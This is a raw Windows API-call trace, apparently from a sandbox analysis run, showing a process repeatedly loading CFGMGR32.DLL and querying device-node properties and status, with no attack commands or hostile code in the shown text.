GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5a734741, dwHighDateTime=0x1d9eb0c)) [0204.005] SetEvent (hEvent=0x248) returned 1 [0204.010] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.010] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.013] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0204.014] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x36, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0204.014] malloc (_Size=0x48) returned 0x196ef0fc120 [0204.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5a75a9a3, dwHighDateTime=0x1d9eb0c)) [0204.014] SetEvent (hEvent=0x248) returned 1 [0204.018] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.018] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.021] malloc (_Size=0x18) returned 0x196ef0d1e60 [0204.022] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.022] malloc (_Size=0x48) returned 0x196ef0fbef0 [0204.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a75a9a3, dwHighDateTime=0x1d9eb0c)) [0204.022] SetEvent (hEvent=0x248) returned 1 [0204.138] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.138] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.141] malloc (_Size=0x18) returned 0x196ef0d1e60 [0204.141] CM_Get_Device_IDA (in: dnDevInst=0x37, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\NDISVIRTUALBUS\\0000") returned 0x0 [0204.142] malloc (_Size=0x48) returned 0x196ef0fb810 [0204.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5a88bd74, dwHighDateTime=0x1d9eb0c)) [0204.142] SetEvent (hEvent=0x248) returned 1 [0204.145] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.145] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.150] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0204.150] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0204.151] malloc (_Size=0x2a) returned 0x196ef0d12d0 [0204.151] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608) returned 0x0 [0204.151] free (_Block=0x196ef0d12d0) [0204.151] malloc (_Size=0x48) returned 0x196ef0fb680 [0204.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5a88bd74, dwHighDateTime=0x1d9eb0c)) [0204.151] SetEvent (hEvent=0x248) returned 1 [0204.154] malloc (_Size=0x18) returned 0x196ef0d1f60 [0204.154] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0204.154] free (_Block=0x196ef0d1f60) [0204.154] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854fe0 [0204.154] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0204.154] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0204.155] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0204.155] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0204.155] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0204.155] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0204.155] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0204.155] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0204.156] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0204.157] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0204.157] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854fe0) returned 1 [0204.158] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.158] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.164] malloc (_Size=0x18) returned 0x196ef0d2020 [0204.164] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0204.164] malloc (_Size=0x48) returned 0x196ef0fbc20 [0204.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5a8b1f01, dwHighDateTime=0x1d9eb0c)) [0204.165] SetEvent (hEvent=0x248) returned 1 [0204.168] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.168] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0204.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0204.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0204.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0204.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0204.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0204.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0204.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0204.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0204.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0204.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0204.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0204.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0204.174] malloc (_Size=0x18) returned 0x196ef0d1d40 [0204.174] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.406] malloc (_Size=0x48) returned 0x196ef0fbc70 [0204.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5ab14409, dwHighDateTime=0x1d9eb0c)) [0204.406] SetEvent (hEvent=0x248) returned 1 [0204.407] SetEvent (hEvent=0x248) returned 1 [0204.408] free (_Block=0x196ef0fbc70) [0204.408] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.408] malloc (_Size=0x48) returned 0x196ef0fba90 [0204.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5ab14409, dwHighDateTime=0x1d9eb0c)) [0204.409] SetEvent (hEvent=0x248) returned 1 [0204.409] SetEvent (hEvent=0x248) returned 1 [0204.410] free (_Block=0x196ef0fba90) [0204.410] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.411] malloc (_Size=0x48) returned 0x196ef0fbae0 [0204.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5ab14409, dwHighDateTime=0x1d9eb0c)) [0204.411] SetEvent (hEvent=0x248) returned 1 [0204.412] SetEvent (hEvent=0x248) returned 1 [0204.412] free (_Block=0x196ef0fbae0) [0204.412] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.412] malloc (_Size=0x48) returned 0x196ef0fbb30 [0204.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5ab14409, dwHighDateTime=0x1d9eb0c)) [0204.413] SetEvent (hEvent=0x248) returned 1 [0204.416] SetEvent (hEvent=0x248) returned 1 [0204.417] free (_Block=0x196ef0fbb30) [0204.417] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0204.418] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0204.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5ab14409, dwHighDateTime=0x1d9eb0c)) [0204.419] SetEvent (hEvent=0x248) returned 1 [0204.420] SetEvent (hEvent=0x248) returned 1 [0204.421] free (_Block=0x196ef0fb3b0) [0204.421] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x37, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0204.421] malloc (_Size=0x48) returned 0x196ef0fb450 [0204.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5ab14409, dwHighDateTime=0x1d9eb0c)) [0204.421] SetEvent (hEvent=0x248) returned 1 [0204.423] SetEvent (hEvent=0x248) returned 1 [0204.424] free (_Block=0x196ef0fb450) [0204.424] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x37, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0204.426] malloc (_Size=0x48) returned 0x196ef0fbe00 [0204.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5ab48474, dwHighDateTime=0x1d9eb0c)) [0204.426] SetEvent (hEvent=0x248) returned 1 [0204.427] SetEvent (hEvent=0x248) returned 1 [0204.428] free (_Block=0x196ef0fbe00) [0204.428] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0204.428] malloc (_Size=0x48) returned 0x196ef0fc120 [0204.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5ab48474, dwHighDateTime=0x1d9eb0c)) [0204.428] SetEvent (hEvent=0x248) returned 1 [0204.851] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0204.851] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0204.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0204.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0204.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0204.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0204.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0204.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0204.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0204.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0204.852] GetProcAddress (hModule=0x7ffa786c0000, 